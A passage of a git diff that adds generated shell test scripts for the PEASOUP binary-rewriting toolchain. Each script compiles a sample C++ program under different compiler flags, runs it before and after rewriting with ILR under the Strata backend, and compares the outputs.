+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5448873f4e7247748d76e501a673707a7b67cf5e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..08f0198b1ba9bb3e6fe01255c3a1b4a130f91f18
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..76044a6c8c2f1944f2583c4eae863d5966b60ca6
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..173f60a912744f961f2db4c4798d26ff646bc597
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..33ef91f01c06278b5c33b8b010a87fd00988c26a
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e37a72eb1663714d6863f5f6596342bc736cba46
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
